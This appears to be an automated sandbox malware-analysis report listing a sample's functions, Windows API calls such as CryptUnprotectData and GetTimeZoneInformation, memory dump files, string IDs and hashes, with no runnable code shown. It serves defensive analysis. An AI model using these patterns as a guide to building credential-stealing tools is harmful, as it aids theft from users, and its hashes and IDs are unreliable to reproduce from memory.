                                    • Instruction Fuzzy Hash: D511A7B4240308AFEB11DF54CC55FAA77B5EB89B10F208459FE199B390C772A941DB54
                                    Function 00CE7BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0159DC20,00000000,?,00CF0DF8,00000000,?,00000000,00000000), ref: 00CE7BF3
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE7BFA
                                    • GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0159DC20,00000000,?,00CF0DF8,00000000,?,00000000,00000000,?), ref: 00CE7C0D
                                    • wsprintfA.USER32 ref: 00CE7C47
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateInformationProcessTimeZonewsprintf
                                    • String ID:
                                    • API String ID: 3317088062-0
                                    • Opcode ID: e55982d7fa0f3dcfd46a71d968a6014e90ddfe4883c70dfde1acb6240a16ef25
                                    • Instruction ID: aa9eb0c044affd82c88a11d007276569e5af7caff9d2a73ffd8662a68da18778
                                    • Opcode Fuzzy Hash: e55982d7fa0f3dcfd46a71d968a6014e90ddfe4883c70dfde1acb6240a16ef25
                                    • Instruction Fuzzy Hash: A011E1B1A09358EBEB20DB55DC49FA9B7B8FB41710F1043E5F61A932C0D7741A408F50
                                    Function 0112D5DC Relevance: 5.4, Strings: 3, Instructions: 1629COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: *x4'$93K0$C]I>
                                    • API String ID: 0-584675010
                                    • Opcode ID: 8727ad7b917e7c0a2a701e2b98c7dc9af3b200a26635e80e0ea9b631c03b6721
                                    • Instruction ID: 0ce93ee6bf239683a5b1f2423f97e0ba603f616f18beab684f1e42090d09eb35
                                    • Opcode Fuzzy Hash: 8727ad7b917e7c0a2a701e2b98c7dc9af3b200a26635e80e0ea9b631c03b6721
                                    • Instruction Fuzzy Hash: 4CB207F360C2049FE708AE2DEC8577ABBE9EF94720F1A493DE6C5C3740E63558058696
                                    Function 0112F926 Relevance: 4.7, Strings: 3, Instructions: 920COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: WO$g$g
                                    • API String ID: 0-2801880224
                                    • Opcode ID: d79c45c599a6b73b2124eaae19a6c9a7f382b55d78bb5f7cf05f76ab409e3121
                                    • Instruction ID: d44aadbff42b1d264902471bc28cf677caf0a2703a21de626a73e65c0449c1c4
                                    • Opcode Fuzzy Hash: d79c45c599a6b73b2124eaae19a6c9a7f382b55d78bb5f7cf05f76ab409e3121
                                    • Instruction Fuzzy Hash: F452D7F360C204AFE7086E2DEC8577ABBE9EB94320F16453DE6C5C3744EA3598418796
                                    Function 00CE3970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CoCreateInstance.COMBASE(00CEE120,00000000,00000001,00CEE110,00000000), ref: 00CE39A8
                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00CE3A00
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharCreateInstanceMultiWide
                                    • String ID:
                                    • API String ID: 123533781-0
                                    • Opcode ID: 5b74ac43970e67debd741316b9c271f4bfbb00fe56c923c5c2492b1956211d5c
                                    • Instruction ID: 1cad0fa45ffdd6e11a0b734be15a8a0345ee8d9be460c0c7f072085765118070
                                    • Opcode Fuzzy Hash: 5b74ac43970e67debd741316b9c271f4bfbb00fe56c923c5c2492b1956211d5c
                                    • Instruction Fuzzy Hash: A041E570A00A689FDB24DB59CC95F9BB7B5AB48702F4041D8E608EB2D0D7B16EC5CF50
                                    Function 00CDA2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00CDA2D4
                                    • LocalAlloc.KERNEL32(00000040,00000000), ref: 00CDA2F3
                                    • LocalFree.KERNEL32(?), ref: 00CDA323
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Local$AllocCryptDataFreeUnprotect
                                    • String ID:
                                    • API String ID: 2068576380-0
                                    • Opcode ID: 97b5ed80b8c2186016c3460afb419c391905975ab38574e83201fe94ff04c7e6
                                    • Instruction ID: 95ae4ca406e6f003bce416ebb4fd0e7193ee247ebf4bcfd09af7731530719e63
                                    • Opcode Fuzzy Hash: 97b5ed80b8c2186016c3460afb419c391905975ab38574e83201fe94ff04c7e6
                                    • Instruction Fuzzy Hash: 9111E8B9A00209DFCB04DFA4D885EAEB7B5FB89300F108559ED1597350D730AE51CF61
                                    Function 00D44BA8 Relevance: 3.4, Strings: 2, Instructions: 941COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: ?$__ZN
                                    • API String ID: 0-1427190319
                                    • Opcode ID: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
                                    • Instruction ID: dca9700691c7599dbf2ac97bc53e9f76170b65f1ddee5188ecced992af4c3af8
                                    • Opcode Fuzzy Hash: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
                                    • Instruction Fuzzy Hash: FA722372908B109BD714CF28D88076AB7E2EFD5310F598A1EF8D55B29AD370DC458BA1
                                    Function 012024BA Relevance: 2.6, Strings: 2, Instructions: 115COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: )QFu$sfF
                                    • API String ID: 0-2806265007
                                    • Opcode ID: 7381daa3b8929f5c040d2a7cfbb7705f85e5fc9165b698be9050a9255a65c567
                                    • Instruction ID: f0917423953f64fccbade838747999e926de9408461f38850fde59b037faa6c2
                                    • Opcode Fuzzy Hash: 7381daa3b8929f5c040d2a7cfbb7705f85e5fc9165b698be9050a9255a65c567
                                    • Instruction Fuzzy Hash: AB31A2B261C7049FE300BE6DDC857AAFBE5EF98220F16892DD6D4C7654E63094548A83
                                    Function 00D25DB9 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: xn--
                                    • API String ID: 0-2826155999
                                    • Opcode ID: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
                                    • Instruction ID: 4801b5e88a6dcf6fc28444fe4c6ef6aa1adf1e16e0f661bfe29ea22220407124
                                    • Opcode Fuzzy Hash: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
                                    • Instruction Fuzzy Hash: 69A2D0B1C043788ADF29CB68E8903EDB7B1EF65308F1842AAD45677281D775DE858B70
                                    Function 00D24DC8 Relevance: 1.9, APIs: 1, Instructions: 411COMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __aulldiv
                                    • String ID:
                                    • API String ID: 3732870572-0
                                    • Opcode ID: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
                                    • Instruction ID: efb8b77ae7b9ce8e61591d0dd659407a492cb9e80f543159a7336aac45057098
                                    • Opcode Fuzzy Hash: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
                                    • Instruction Fuzzy Hash: 8EE103316083619FC725CF28D880BAEB7E2EFD9304F49492DE8D997291D7319C55CBA2
                                    Function 00D24868 Relevance: 1.9, APIs: 1, Instructions: 400COMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __aulldiv
                                    • String ID:
                                    • API String ID: 3732870572-0
                                    • Opcode ID: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
                                    • Instruction ID: 94b744d9b9a9ae078184370c5b81f17e44f8f2bd99866eb669fcd97c9a886631
                                    • Opcode Fuzzy Hash: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
                                    • Instruction Fuzzy Hash: 06E1E531A083219FCB24CF18D8917AEB7E2EFD5318F15892DE8999B251D730EC45CB66
                                    Function 00D3E258 Relevance: 1.6, Strings: 1, Instructions: 383COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: UNC\
                                    • API String ID: 0-505053535
                                    • Opcode ID: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
                                    • Instruction ID: ae0329b4a959ee0b24c2b7c5c85df1425a7cdb6d77ee3cf6337bd456d69502a6
                                    • Opcode Fuzzy Hash: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
